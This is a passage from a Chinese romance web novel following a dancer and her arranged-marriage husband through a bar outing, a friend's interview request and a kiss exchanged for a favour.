黎晚棠拉开椅子坐下,低声说了句谢谢。 刚端起牛奶喝了口,余光瞥见傅砚深端过来的另一份早餐,她嘴馋的咽了咽喉。 三明治搭配黄金煎蛋,从卖相看,比她这份好吃太多。 傅砚深察觉到她的目光,依旧垂眸慢条斯理地吃着:“知道你需要控制饮食,没给你高热量的食物。” 黎晚棠啃着索然无味的全麦面包,不满吐槽:“同样的食材,两种做法,我这份明显不好吃。” 煎鸡蛋的香味一直往她鼻尖飘,她干咽了好几次口水。 傅砚深吃早餐的动作顿住,抬头看她:“如果你觉得,我跟你吃一样的早餐,你心里能平衡点,那就从明天起执行。” “……” 如果她真那样做了,不仅显得格局小,肚量也不大。 黎晚棠低头猛吃了口全麦面包:“不用,你平时想怎么吃就怎么吃,反正我也习惯了。” 在家的时候,沈老师和黎总没少馋她,两人的行为极其气人,不过她早已习惯这样的区别对待。 也知道他们是在为她着想。 吃完早餐,两人各自分开去上班- 距离比赛的时间越来越近,舞团里参赛的每一个人,演出结束后,都会在私下偷偷加练。 黎晚棠对这次比赛抱有很大的希望,这段时间没有演出,排练的时间远远超过其他人。 好几次下腰旋转,她能感觉膝盖发出疼痛信号。 疼痛感不强,但肯定是触发旧伤了。 中途休息,白露晞跑过来看她一眼:“你脸色不好,是不是最近的排练太满了?” 黎晚棠弯唇:“没有,只是昨天没睡好,精神有点差。” 确实没睡好,那个梦有点累人。 白露晞又在她脸上看了几眼,给她塞了瓶水:“别给自己太大压力,注意休息。” 黎晚棠笑着扬了扬手里的水,表示感谢。 吃完饭午休时,她突然接到沈老师电话:“搬过去还习惯吗?” 黎晚棠躺在床上,把手机贴在耳边,此刻的声音懒洋洋的:“不习惯我能搬出来吗?” “说话跟小孩子似的,你真以为是办家家呢。” 沈听荷严肃说了她两句,转而笑道:“接触过后,砚深那孩子是很好相处吧?” 黎晚棠回想这两天的情形,怎么说呢,傅砚深还挺迁就她的,生活和饮食上考虑到她的职业,处处为她着想。 如此分析下来,他确实很会照顾人。 唯一让她不满的,是他教导主任的工作失职,反而冒出点爱管闲事的爹味。 现在他不仅管得宽,还喜欢跟她讲大道理。 虽然这点早有意料,却还是很让人窒息。 “就还行吧。” 黎晚棠脑中忽然想到什么,弯唇笑道:“妈,他生活习惯跟我爸挺像,我感觉我又多了个爹。” 沈听荷愣了下,随即也跟着笑了起来:“这话你别当着砚深的面说,把人都说老了,还不礼貌。” 黎晚棠低声嘀咕:“我这不是跟你说嘛。” 沈听荷打趣她正经点,又问了一些关于她比赛的事,最后叮嘱她注意休息,排练强度别太大。 黎晚棠嘴角笑意微收,没把膝盖疼的事告诉她,怕她担心:“嗯,知道了。” “对了,在你比赛之前,两家亲戚会聚在一起吃顿饭,你和砚深领证,有些亲戚还不知道。” 黎晚棠缓缓闭上眼睛:“这些事你们安排就好,我和傅砚深会准时到场。” 电话挂断,她侧身抱着被子,一秒进入梦乡。 而另一头,君安国际办公室。 趁午休时间,裴竞洲特意跑过来找傅砚深,就是想跟他谈一谈黎晚棠的事。 萧仲知道他是傅总的朋友,主动把人带到办公室门口。 刚敲响房门,里面就传来请进的声音,裴竞洲迫不及待推门而入。 “……” 萧仲错愕地盯着他鲁莽推门的行为,默默地关门退了出去。 平时他要这样,少不了要被傅总上课。 傅砚深抬眸看到是他,眉心微皱:“冒冒失失地冲进来,你是有项目要跟我谈?” “我跟你谈什么项目。” 裴竞洲一屁股坐在沙发上,偏头看他:“说说吧,你跟黎晚棠到底什么情况,怎么突然就结婚了?” 程晏川没细说,只提了傅黎两家是世交,关系还不错。其实这个他知道,只是没想到世交的黎家,会是黎晚棠她家。 毕竟姓黎的在京北不少,名门望族比比皆是,傅砚深和他们都在国外上的大学,像这种私交他从来不会说,所以他们并不是很了解。 裴竞洲心里压着火气,问:“你和黎晚棠是不是很早就认识?” 傅砚深缓缓起身,走到裴竞洲旁边的沙发落座,觉得有些事情还是要跟他说清楚。 “嗯,我们从小就认识?” 裴竞洲听到这话,气得直接从沙发上弹了起来:“你们从小就认识!为什么相亲那日搞得互不认识一样,还要我帮忙介绍,你们在玩我呢?” 他们从小就认识? 气死他了! 傅砚深面色平静,等他情绪稍稍平复后,低声解释:“我们很多年没见,我以为她没认出我。” 当时,他确实是这么认为的。 “我们两家很早就有婚约,我让你别去打扰她,也是为你着想。” 傅砚深站起身,给他倒了杯水:“就怕你日后会出现尴尬局面。” 裴竞洲垂眸瞥了眼桌上那杯水,坐下后,拿过一饮而尽。 知道实情,心里那股气依旧没消:“这话说得,难道我现在就不尴尬?” 如果他早知道这个情况,也不至于去抢兄弟老婆。 傅砚深直白评价:“没傻到底,还有得救。” 裴竞洲:“……” 有时候,他们真能被傅砚深这死板性格气死。 但都是兄弟,没得选。 “你们是家里安排的婚约。”裴竞洲情绪彻底平复后,试探问:“那你喜欢她吗?” 傅砚深是他们兄弟里最为严谨刻板的一个,情感内敛不善表达,这些年他也没有谈恋的想法,他们一直以为他是不婚族。 听到这话,傅砚深眼眸微抬:“你还不死心?” 裴竞洲吓得立马伸出手指发誓:“天地良心,我既然知道你们的事,打死我都不敢有想法!” 朋友妻不可欺,这个道理他懂。 闻言,傅砚深起身回到办公桌前,打算继续工作:“嗯,没事你就回去吧。” 这语气明显是在赶人。 该解释的都解释完了,他现在需要工作。 裴竞洲知道他性格,一板一眼,工作的地方不便叙旧,他站起身往外走了两步,又回头不死心地问了句:“老傅,那黎晚棠喜欢你吗?” 傅砚深冷眼扫他。 “……” 裴竞洲嘴角微抽,眼疾手快地把门关上,一溜烟跑了。 等办公室彻底安静,傅砚深低头时,电脑屏幕倒映出他沉冷的面容,他眸光顿了片刻,翻开资料全神贯注投入工作中- 膝盖的旧伤发出好几次危险信号,黎晚棠逐渐意识到事情的严重性。 这时候她不能高强度的排练下去,否则到比赛那天出事,她所有的努力就前功尽弃了。 这天刚到下班时间,她便收拾东西准备回家。 白露晞见状,忙跑过来:“今天走那么早?” 黎晚棠弯腰拿过地上的水杯,偏头笑道:“不是你说要我多注意休息吗,今天累了。” 白露晞呵呵一笑:“对对对,人的精力是有限的,确实不能一下子全用完,那你快回去休息吧。” 黎晚棠朝她挥手:“走了。” 出舞团,外面阳光依旧明媚耀眼,抬头时还有些晃得人睁不开眸。 现在进入六月份,白昼变长,正常点下班都还能看到阳光。 开门上车,黎晚棠缓缓驶出停车场,中控台的手机响起,来电显示叶知薇。 她按下接听键,笑问:“你是在我身上装定位器了吧。” “那玩意多贵啊,我可买不起。”叶知薇笑问:“今天下班那么早,晚上我们去酒吧玩玩?” 黎晚棠转动方向盘,认真看前面的路况:“我又不喝酒,去酒吧没劲。” “哎呀,你就当陪我行不行,我想采访一个人,好不容易得知他要去午夜绿洲,这机会我得把握住。”叶知薇同她撒娇。 黎晚棠就知道她约自己去酒吧准没好事:“你去工作,我跟着去不合适吧?” “能不能约成还另说呢,真不成,就当我们姐妹聚会了。” 叶知薇语气带着恳求:“棠宝,我就知道你最好了,肯定不忍心我一个人喝闷酒。” 黎晚棠气笑,每次叶知薇跟她撒娇就会叫她棠宝,偏偏她就喜欢听这两个字。 “行,就当你昨天买单的报酬。”怕她着急,她又忙说:“不过我要先回家泡脚,出门的时候再跟你打电话。” 她膝盖需要泡脚和擦药按摩,这时候不能大意。 叶知薇高兴道:“好嘞。” 黎晚棠回到家,先去房间翻出带过来的药箱,落坐客厅,她一边泡脚,一边低头擦药按摩膝盖。 抬脚时不小心把水溅出,洒了一大片,她侧身准备去抽纸巾时,忽然想起傅砚深说的话,偏头喊了声石头。 “在呢?” 不一会儿,就见一个白色圆盘转了过来。 见石头灵活得像小胖子,黎晚棠好笑道:“你好石头,开始清洁。” 石头转了两圈,来到她跟前,自动识别有水的区域:“好的,收到指令。” 黎晚棠盯着这小玩意看了几眼,弯唇笑了。 “嗯,你爸说得没错,你确实很聪明。” 石头用僵硬的机械声回答:“是的,我现在的内核系统排行第一。” 黎晚棠诧异抬眉:“咦,你现在怎么会说那么多话了?” 这句话石头不会回答。 黎晚棠觉得它有趣,自言自语跟它瞎聊着。 等泡完脚,再把周围收拾干净,起身回屋换衣服。 在衣帽间挑选了半天,她最后拿出一条黑色吊带短裙。 臀部以下,膝盖往上,巨显身材。 想着是去酒吧玩,黎晚棠特意化了个野性亚裔妆容,灰调的混血色美瞳,裸粉色唇釉,饱满水润。 黎晚棠看了眼时间,怕碰到傅砚深下班回家看到她这一身,不让她出门,她拿着包就急急忙忙跑出客厅。 低头刚换上高跟鞋,门外突然传来动静。 下一秒,房门被人打开。 傅砚深长身立在门外,目光平静地从黎晚棠身上扫过,许久,开口问:“要出去?” 黎晚棠垂眸点头:“嗯,跟知薇约了去酒吧。” 这种事瞒不住,她也不想瞒,况且她这身打扮也能看出来。 傅砚深神色淡然地收回视线,抬手关上房门时,低声开口:“裙子太短,回去换一件。” 第15章 黎晚棠茫然抬头望着他,以为是自己听错了,眨着眼睫又重复一遍:“换掉?” 她精心挑选半天的裙子,他一开口就要她换掉。 她爸都没他管得严! 他们只是结婚了,她又不是他的秘书或助理,他没必要什么都要管吧! 婚前说好的互不干涉,他现在这样就是违约。 赶在他准备要说大道理之前,黎晚棠压住心底那股怒气,平静开口:“首先,我这样穿并不觉得冷,其次,我有我的穿衣自由,就算现在我们已经成为合法夫妻,你也无权干涉,懂吗?” 她真就没见过这么保守固执的老古板! 管天管地,还管人拉…… 算了,那句词汇她说不出口。 傅砚深表情没半点变化:“就因为我们是夫妻,所以我才要对你的健康以及安全负责。” 他低头将腕表取下,随手放在玄关柜,而后慢条斯理脱掉身上外套,缓步上前披黎晚棠身上:“家规第一条,健康比漂亮重要。” 家规? 同居前,他可没说还有家规这个说法。 黎晚棠垂眸瞥了眼身上的西服外套,抬头与他对视:“什么时候又多了条家规?” “刚加的。” 傅砚深依旧面不改色地回答,语调不变:“酒吧人员复杂,无法预料的危险潜伏在身边,特别是年轻漂亮的女孩,总能成为一些不法分子的目标。” “……” 预想到傅砚深会有一堆大道理等着她,却万万没料到,他连不法分子都拎出来了。 当今这个社会,治安不能说百分百安全,但也没他说得那么混乱吧。 再说,哪个女孩去酒吧没有特意打扮的。 而且像她这样穿的女孩子,酒吧里遍地都是,甚至更性感妖艳的都有,怎么到她这里,就变成危险了。 他这样说,她不服。 “我没你说得那么引人注目,会成为全场焦点。” 黎晚棠撇嘴,扯掉身上外套还给他:“知薇还在等我呢,我已经耽误很长时间了。” 言外之意,她现在就得走。 只是拿出去的外套久久没人接,她就这般干举着。 见他一直不伸手,黎晚棠也没什么耐心,随手就要将其扔在玄关柜上,可原本距离她还有几步之遥的傅砚深,突然朝她靠近。 眼看两人就要贴上,黎晚棠忍不住往后退,后背直接抵在鞋柜墙上,此刻退无可退。 面前的男人犹如一座高大的城墙,那种无形的压迫感,让她第一次感受到他的强势。 黎晚棠不服输地抬起头:“你、你想干嘛?” 他不会是……强行把她控制在家里,不让她出门吧? 傅砚深抬手把她睫毛上那缕碎发,轻轻发别耳后,垂眸看着她:“黎晚棠,听话。” 出口的声音跟他强势靠近的气势不同,语气是从未有过的柔软。 仔细听,他像是在轻声跟她商量,又像是哄她。 所以他这是硬的不行,直接来软的? 黎晚棠轻眨着眼睫没说话,她这人还真就吃软不吃硬,可男人聪明,偏偏选用软刀子,这让她怎么接。 “可能有一点你没意识到。”傅砚深极其客观地评价:“不管在哪,你确实能成为人群中的焦点。” “……” 黎晚棠愣住。 这会儿,是彻底把她整不会了。 最后的结果,黎晚棠乖乖换了条极其保守且保暖的连衣裙,过膝盖的那种。 推门离开的那一瞬,男人声音再度传来:“别太晚,结束我去接你。” _ 抵达酒吧,叶知薇已经在开好的卡台等她。 见人走近,身上穿的还是一条春季长裙,叶知薇嘴角轻扯:“姐妹,我说的是来酒吧,不是去参加什么相亲活动,你这穿得也太……” 她脑子卡了会儿,才想起那个词:“知性温婉了吧。” 黎晚棠轻呼一口气,丢下包落坐在她身旁,弯腰端起桌上点好的果汁,仰头喝了半杯:“哎,不愉快的事就别提了。” 叶知薇挑眉,嗅到八卦:“怎么,谁惹你了?” 黎晚棠眯眼又喝了几口,杯子放回桌面时,发出刺耳的尖锐声,好在酒吧本来就吵,掩盖住了。 “现在除了傅砚深,你觉得还有谁能把我气着。”她现在说起来还有气。 听闻是这个话题,叶知薇瞬间来了兴致,急忙凑到她身旁:“快快快,具体细节展开说说。” 黎晚棠瞥她一眼,还是把出门前发生的事,一五一十地说了遍。 叶知薇听完后,捂着肚子靠在椅背上笑:“棠宝,你这是给自己找了个爹,还是古板老干部,我现在终于能理解,你当初为什么那么抗拒他了。” “傅砚深传统的思想刻在骨子里已经根深蒂固,说真的,如果不是靠他那张脸和身材,估计真能单身一辈子。” 她擦了擦笑出来的眼泪:“我现在不知道是该同情你,还是羡慕你。” 有人管,证明有人在乎,换个角度想,也不是什么坏事。 总比围绕在她身旁那些虚情假意的强。 黎晚棠睇了眼幸灾乐祸的女人,端起果汁默默喝了口:“行了,你不是过来盯人的嘛,正经点。” 虽然她最后妥协换了身衣服出门,但心里依旧不爽,感觉自己真被傅砚深像家长那般管上了。 出门报备,回家还得提前告知。 啧,她不就是嫁了个爹嘛。 “哦哦,差点忘了正事。”叶知薇坐起身,抬手整理发型,偏头开始寻找目标人物。 仰头环视一圈,仍没看到她要等的人。 黎晚棠单手撑着下巴,边吃水果,边偏头打量:“那人叫什么名字?” “程晏川,Al科技高智商人才,刚回国就被各大猎头公司疯抢。” 说到这,叶知薇回头看她:“你老公也是,当初君安国际可是花重金把人请去当总裁的,当时在业界轰动了好一阵。” 黎晚棠对这些信息不如叶知薇,毕竟她是财经新闻记者,这些时尚风口的人物他必须要了解。 她的知识领域,更偏向文艺方面的舞蹈艺术家。 聊起傅砚深,她只觉得脑袋疼:“可以不提他吗。” 叶知薇笑着点头:“行,你帮我盯紧这个人。” 说着,她从手机里翻出程晏川的相片:“看,高智商人才都是群大帅哥,你可别认错了。” 黎晚棠低头仔细看了看,总觉得这人有点眼熟,她好像在哪里见过,但脑子里又没什么印象。 她直起身,横叶知薇一眼,笑着调侃:“以为我是你呢,只看外表的颜狗。” “嗯,你说的这点我承认。” 叶知薇不反驳,她看人确实先看颜值,当初她能跟黎晚棠成为朋友,也是觉得她长得好看,就想跟她做朋友。 眼看快八点半,程晏川依旧没出现,叶知薇都快怀疑这消息的准确性。 中途倒是有不少过来找黎晚棠搭讪的,余光瞥见她无名指上的戒指,说两句就离开了。 叶知薇似笑非笑地朝她挑眉:“别说,结婚还是有些好处的。” 黎晚棠撑着下巴,懒散问:“比如?” “挡烂桃花啊。” 叶知薇凑近她,笑着评价:“你瞧瞧,这一个个过来的男人,看到你手上的戒指瞬间歇菜,都省得你费口舌了。” 闻言,黎晚棠垂眸看了眼手上的戒指,不管是在舞团还是在外面,自从带上,她身边确实少了很多打扰者。 之前傅奶奶送给的镯子,她戴着跳舞不方便,很早就取下来放好,就这枚戒指,自从傅砚深帮她戴上去后,就没摘下来过。 黎晚棠轻轻点头:“嗯,勉强算是一个吧。” 抬眸时,余光不经意扫见门口进来的男人,黎晚棠立马坐直身,急忙去拍身旁的叶知薇:“知薇,你看看,是不是他?” 叶知薇顺势偏抬头,当看见被酒吧经理拥着上二楼的程晏川,拿着手机站起身:“对,就是他,棠棠你在这等我,我上楼碰碰运气。” 黎晚棠还没开口,人就已经跑上楼了。 她懒散靠着椅背,仰头望着舞池里涌动的男女,莫名觉得有点无聊。 黎晚棠不喝酒,没有酒后的微醺感,融入不进这样的场合,有叶知薇在还好,起码有人聊天,现在一个人待在卡坐,无聊透顶。 她拿出手机开始刷小视频,之前点过赞的,平台推荐的全是舞蹈类型的视频。 不知刷了多久,屏幕突然跳出傅砚深的信息:【快结束了吗,我现在过来接你。】 黎晚棠本想说没那么快,但这么坐着也确实有点无聊:【嗯,差不多了,你过来吧。】 有免费的司机,不用白不用。 黎晚棠低头又刷了十几分钟,见叶知薇还没回来,脑子忽然响起傅砚深出门说的那些话。 酒吧什么样的人都有,她还真担心叶知薇会遇到什么事。 越想越心急,黎晚棠这下彻底坐不住了,她弯腰拿过两人的包包,起身就要往楼上走。 酒吧这会儿正是高峰期,人流有点多,她挤出去时,后背不小心被人撞了下。 脚下高跟鞋一崴,身体猛地往前冲,恰好一双大手扶住她的肩,由于惯性,她还是扑了上去。 鼻尖飘进一股淡淡的沉香味,黎晚棠抿唇轻吸了两下,感觉味道有些熟悉。 想到可能会是谁,她一抬头,就对上低头看过来的傅砚深:“脚有没有崴到?” 黎晚棠怔怔摇头:“没有。” 傅砚深瞥了眼周围嘈杂的环境,眉头微皱:“走吧,我们回家。” 转身时,黎晚棠急忙抓住他的手腕:“等等,我们先上楼去找找知薇,她上去好久了。” 傅砚深看出她的担忧,点头:“嗯,你牵着我。” 周围有来来往往的人经过,他怕再次发生刚才的事。 然而黎晚棠听到这话,抓住他的手猛然松开,舔唇道:“没事,我跟着你就行。” 傅砚深将女孩的动作尽收眼底,没强求:“好。” 男人转身上楼,黎晚棠紧跟在他身后,他高大的背影仿佛主动隔出一条直路,她忽然觉得原本拥挤的走道,宽敞不少。 楼上跟楼下简直是两个环境,上面全是VIP包房,走廊听不到楼下的喧嚣,格外安静。 傅砚深回头问她:“你朋友在哪?” 黎晚棠偏头四处张望:“我也不知道,只是看见她上来了。” “那你给她打个电话问问。” “哦,对呀。” 黎晚棠才反应过来可以打电话,可刚拨通就对方被挂了,她眉头皱了皱,又重新拨通打,两秒后再次挂掉。 这一刻,她突然有些紧张起来。 傅砚深看到女孩微皱的眉眼,也知道这通电话没打出去,平静询问:“她是上来找谁?” 黎晚棠忽地抬头,想了想,拧眉说道:“好像是叫…程晏川。” 听到这个名字,傅砚深顿了会儿,而后低头从兜里掏出手机,直接拨通程晏川的电话:“在哪?” 程晏川愣了下:“午夜绿洲,怎么?你要过来。” 傅砚深没多说,直接问:“房间号多少?” 得到具体的房号,傅砚深挂断电话,偏头去看表情有些吃惊的黎晚棠:“走吧,她应该在208。” “哦哦。”黎晚棠跟着他走了几步,试探问:“你认识那个叫程晏川的男人?” “嗯,高中大学我们同在一个学校。”傅砚深实话实说,没隐瞒两人的关系。 黎晚棠眼眸微睁,难怪叶知薇说各大猎头公司都疯抢程晏川,原来他们都是从美国普林斯顿出来的人才。 难怪她觉得程晏川眼熟,高中傅砚深帮她补课,她在学校门口碰见过他们一回。 两人来到包厢门口,傅砚深抬手推开房门。 黎晚棠顺势偏头往里看,一眼就瞧见,那群西装革履中,唯一穿裙子的叶知薇。 看到她安然无恙,黎晚棠暗自松了口气。 众人看到包厢门突然被人推开,齐齐回头,看到来人是傅砚深,笑着招呼:“傅总,您今天怎么有空来这了?” 跟傅砚深打过交道的人都知道,他本人不抽烟不喝酒,生活习惯极其规律,像酒吧这样的地方他是绝对不可能来。 但刚刚听程晏川说傅砚深要过来,他们都有些不可置信。 傅砚深点头:“过来找人。” 程晏川懒懒掀眸,不动声色瞥了眼傅砚深身后的女孩,笑道:“不是过来找我吧?” “确实不是你。” 傅砚深看了眼他,目光落在愣着没动的叶知薇身上:“我们找她。” 叶知薇也看到了站门口的黎晚棠,急忙起身,小跑着过去:“你怎么上来了?” 黎晚棠偷瞥了眼里面那群人,压低声音道:“打你电话也不接,我以为你出事了。” 叶知薇顿时被她这话感动到,偏头靠在她肩头撒娇:“棠宝,还是你最关心我。” 这声“棠宝”落下,傅砚深忽地回头看来。 黎晚棠对上他的视线,轻推了推叶知薇:“都看着呢,你正经点。” “哦哦,一时忘了。” 叶知薇立马站直身体,扭头看向程晏川时,嘴角露出标志性的微笑:“程总,今日就先不打扰你们了,我刚才说的采访,希望你能给我一个机会。” 程晏川没说话,那双黑眸饶有兴致地落在黎晚棠身上,虽然已经猜出她的身份,但还是偏头去问一旁的傅砚深,嘴角轻扯:“老傅,这位就是嫂子吧。” 这话落下,在场的人均是一愣。 叶知薇更是诧异他们竟然认识,接着心里一阵暗喜。 如此看来,那她的采访有希望了。 黎晚棠被程晏川这声“嫂子”喊懵了。 这还是他们领证以来,头一次有人这么称呼她。 傅砚深见人已经找到,也不打算久留:“嗯,改日有机会再聚。” 他简单的一个嗯,直接表明两人是夫妻的关系。 见傅砚深转身往外走,黎晚棠下意识朝他们挥手,弯唇笑道:“打扰了,再见。” 等三人出了酒吧,叶知薇很有眼力见的开口:“妹夫,棠棠就交给你了,下次我请你们吃饭。” 傅砚深点头:“路上注意安全,时刻保持清醒。” 明明是叫他妹夫,而他长辈的口吻却很重,叶知薇想到黎晚棠的吐槽,没忍住笑了:“好嘞,到家我会跟棠棠报平安的。” 说着,她笑着朝黎晚棠挑眉:“棠宝,等我给你电话哦。” 黎晚棠这阵东风,她借定了。 见叶知薇安全离开,两人转身上了路边的那辆宾利。 车子平稳启动,黎晚棠看了他一眼,低声道:“今晚,谢谢你啊。” 如果他不来,她肯定成了无头苍蝇,急得乱转。 傅砚深声音一如既往地平静:“我说过,我们之间不要说谢谢。” 黎晚棠抿唇:“有些谢谢还是要说的。” “比如呢?”他突然反问。 黎晚棠一噎,没料到这人还较真了:“比如没有你,我没那么快找到知薇。” 等了半天就听到她说这么一句,傅砚深不动声色瞧她一眼,直到前方红绿灯,等车停稳后,他扭头看她:“你差点摔倒,我扶你的那个不算?” 黎晚棠:“……” 刚才就不该硬杠,闭嘴不吱声好了。 她扯唇:“嗯,也算。” 傅砚深口吻认真:“既然算,怎么不说谢谢。” 黎晚棠再一次意识到,是她搬起石头砸自己的脚。 不想一直被傅砚深牵着鼻子走,她有理有据地反驳:“不是你说,我们之间不需要说谢谢吗?” 傅砚深垂下眼眸,目视前方时,低声道:“希望你能一直记得。” “……” 绕了一大圈,他是在这里堵她呢。 黎晚棠气呼呼地别过头,不说话也不想看他。 这一路,沉默到家。 进门后没多久,黎晚棠就收到叶知薇的平安短信:【棠宝,我已安全到家。】 黎晚棠拿过睡衣进浴室:【好,赶紧洗洗睡吧。】 叶知薇:【睡不着。】 黎晚棠把衣服放壁柜里,抽空回了条:【睡不着就吃一粒褪黑素,保你整夜睡得嘎嘎香。】 发送成功,黎晚棠没再看手机,开始洗澡。 等她全部整理完出来,拿过手机看了眼,屏幕显示叶知薇好几条未读信息。 凭着多年对她的了解,肯定是有事相求。 果不其然,打开微信就看清她此行的目的。 这次是要她吹傅砚深的枕边风,让他去程晏川哪里说一声,答应她采访的事。 看到这,黎晚棠无语抿唇,一个电话打过去:“叶知薇,这事没得商量啊,你要我去求傅砚深,不可能!” “不是求,就适当提一提这个事。”叶知薇秒装可怜:“棠宝,这期我要是再没有合适的采访对象,我们主编铁定要放弃我,你也不想我那么惨吧。” 黎晚棠握着手机转身,冷笑道:“别说,还挺期待。” “黎晚棠,咱俩友尽啊!” 叶知薇想到什么,故意说道:“哎,就是我托朋友从澳洲带回来的那盒米歇尔柯兹巧克力,看来是没机会送人喽,不过没事,赏给我家花花吧。” 花花是她养的那条宠物狗。 黎晚棠笑意微敛,想到那盒巧克力,咬牙切齿:“行,我只是适当地提一提,成不成我可不保证。” 叶知薇语气秒变欢快:“爱你哦棠宝,只要你开口肯定能行!” 黎晚棠二话不说挂断电话,只是在挂断前,叮嘱她把那盒巧克力帮她留着。 护完肤回到床上,这个点傅砚深还在书房处理工作,这是她这两天观察得知。 十点刚到,卧室门从外推开,傅砚深看了眼躺床上玩手机的黎晚棠,径直进入衣帽间。 出来后,转身进了浴室。 黎晚棠抬头看了眼,片刻后,视线又落在手机上,微皱起的眉眼似乎在思考,等会儿该如何开口。 十五分钟不多不少,傅砚深准时从浴室出来。 见黎晚棠已经放下手机,侧身抱着被子蜷缩成团,他抬手关掉卧室灯光,只留下床头那盏落地灯。 走近,掀开被子上床,他刚要抬手去关唯一那盏落地灯,黎晚棠却忽而转身,仰头看了过来。 她嘴角含笑:“还没到十点半呢,我们聊五分钟呗。” 傅砚深关灯的动作顿住,垂眸看她:“嗯,想聊什么?” 见他如此正式,黎晚棠立马掀开被子,也坐了起来:“知薇想采访程晏川做一期报道,中间你能不能帮忙说几句话。” 思来想去,她还是觉得直接说好点,傅砚深不喜欢拐弯抹角,这样的方式开口最好。 傅砚深眉心微折,直言道:“我从不干涉朋友工作上的事,他答应与否,应该是由他们双方自行决定。” 黎晚棠脸上笑容僵住,头一次求人办事被拒,这人还是自己名义上的老公,心里那点别扭没法形容。 知道结果会不如意,没想到他会拒绝得那么干脆。 但想到那盒价值六千元的巧克力,黎晚棠还想再挣扎一下,眼角微眯,掐指比划:“……就稍稍提一嘴,也不行吗?” 与他们老同学的关系,就算不同意,也不会影响两人之间的友谊。 傅砚深盯着眼前表情如此生动的黎晚棠,不可撼动的原则有了几分松动,片刻,他鬼使神差地问了句:“这事对我而言,有什么好处?” “……” 啊,他也想要好处? 如此说来,这事还能谈。 不过黎晚黎还是挺意外的,傅砚深这种人,原来也是会为了好处而折腰的。 她就这般静静望着他这张俊脸,抿唇思考,他会喜欢什么。 几番思考过后,脑子直接宣布死机。 算了,这个问题太难,还是直接问来得快:“……那你想到什么好处?” 傅砚深不答反问:“你觉得什么合适?” 这个直球又踢了回来,黎晚棠嘴角轻扯,正苦恼应该给他什么好处时,脑中忽然想起叶知薇常挂在嘴边的那句话。 ——男人其实很好搞定,主动抱一下或者亲一口,啥事都解决了。 抱一下,亲一口? 其实也不是不行,反正他们都亲过,这个倒是不难。 这般想着,黎晚棠骤然起身,双腿跪坐在床垫上,一点点朝傅砚深靠近。 正当他疑惑抬头时,她俯身快速在他唇上亲了口。 “傅砚深,这个好处行不行?” 第16章 突如其来的亲吻,是傅砚深没意料到的,蜻蜓点水般触碰了下,他还来不及细细感受那抹柔软,就已经快速离开。 此刻两人的距离很近,女孩清透黑亮的眼睛直勾勾盯着她,挺翘的鼻梁下,那双唇瓣还沾染着几分湿润,鲜红刺眼,像清晨露水后的红玫瑰。 他品尝过,还有股淡淡的清甜味。 仅一次,就让他难以忘怀。 傅砚深以为她会用一份礼物,作为给予他的好处,再不济请他吃顿饭,万万没料到她会给自己一个吻。 她说这个好处行不行? 行,但好像还不够。 有些习惯会上瘾,这个吻又何尝不是,他本以为自己是个很能克制的人,但遇上她,事情好像变得并不绝对。 像着迷似的,只要深想,就会掉入万丈深渊。 傅砚深眼眸忽暗,来不及取下的眼镜,毫无征兆坠落在浅灰色地毯上,镜腿触地轻弹了两下,最后彻底与地毯融合。 原本垂落在身侧的双手,一手圈住她的腰,一手扣住她后脑,精准衔住她的唇。 这次动作不像第一次那么僵硬,他偏头辗转流连,似乎想用他的行动,去感化还僵着没动的人。 黎晚棠确实是吓傻了,傅砚深的反吻让她猝不及防,本想只是亲一口,现在也不知道变成几口。 唇上的柔软还在继续,他亲吻得有些急促而热烈,或许有过研究的经验,不再是生涩无章法,男人似乎学会了递增,从浅尝到辗转,最后是长驱直入地探进。 黎晚棠被他搅得心乱,呼吸逐渐不稳。 她现在是彻底相信,叶知薇说他们这种高智商的人会被疯抢,因为他们不管学什么,都能突飞猛进。 接吻也是如此。 傅砚深是无师自通,还是经过多次验证得出的结果,唇瓣上缠缠绵绵的吻,连舌尖都被他勾缠着,她仅有的那点呼吸全被夺走。 黏腻到极致的水啧声,在静谧的房间内扩散至每个角落。 仿佛这个吻已经不能满足,内心想拥有更多更多。 黎晚棠不清楚他们吻了多久,感觉自己要窒息时,傅砚深才念念不舍地松开她的唇。 两人呼吸紊乱,不知何时紧贴在一起的身体,近到能听见彼此还未停息的心跳声。 以及,傅砚深此刻极强的身体变化。 对于男人这种奇妙的生理变化,她或许很陌生,却还是知道这种现象代表着什么。 她如今是二十四岁,就算没经历过,也懂。 何况身旁有个无所不知的叶知薇。 黎晚棠慌乱地与他拉开距离,闪躲时,余光不经意扫见男人眉眼下,那双冷静自持的眸子,眼尾已经压抑着淡淡红绸。 充满极强欲望的傅砚深,她从未见过。 怕他会有继续往下的冲动,黎晚棠急忙开口:“傅砚深,我这个好处仅限于接吻,你要想那啥,我、我还没做好准备。” 傅砚深幽深的眸子扫过女孩那双红肿的唇瓣,自知今日有些过头,不断索取。 他别过头,很轻地咽了咽喉,开口的声音很哑:“嗯,我知道。” 说着,他侧身下床,转身快步进入浴室。 黎晚棠盯着他的背影,还未得到肯定答复,忙喊:“行不行,你先给个话呀?” 这嘴不能白亲,虽然过程她也很享受。 傅砚深脚步微顿,随即又加快速度:“嗯,我会跟他说的。” 得到肯定的答复,黎晚棠盯着那扇紧闭的浴室门,下意识抬手揉了揉又肿又麻的唇瓣,低声嘀咕:“事到如今,她也学会出卖色相了。” 好在这人是她的合法老公,说起来也不算吃亏。 他们顶多是互惠互利- 次日刚到公司,傅砚深率先拨通程晏川的电话。 程晏川对他这通电话并不意外,似乎还有刻意等待的意味,出声笑着调侃:“知道你会打来,但没想到会那么早。” 傅砚深微微垂眸,昨晚的那个好处出乎意料地好,好到他险些失控。 所以刚到公司,他就先把私事解决,尽快兑现承诺,来弥补他那份冲动。 “你既然都知道了,那我便不必多说。”他语气还是一如既往地平静。 一个采访的事,程晏川觉得无所谓,反倒对傅砚深主动打电话的事感兴趣。 就因为他们太了解彼此,才清楚一向公私分明的傅砚深,如今破例,是为了家里那个新婚妻子。 程晏川身形懒懒地靠向椅背,低声试问:“砚深,你藏在心里许多年的女孩,是不是她?” 听到这话,傅砚深拿文件的手顿住,很快又淡定下来:“有些事,你自己知道就行。” 没否认,只是不让声张,程晏川秒懂:“你以为我是裴竞洲那大嘴巴,采访的事我会让助理与她沟通,你欠我的人情,我记着了。” 虽然不是多大点事,但能坑傅砚深的机会不多,这话他得事先说清楚。 “嗯,没事挂了。” 挂断电话,傅砚深黝黑的眸子盯着无名指上的戒指,这是黎晚棠亲自帮他戴上的。 目光出神的看了一会儿,好半晌,他才低头继续工作。 东方舞蹈团这边。 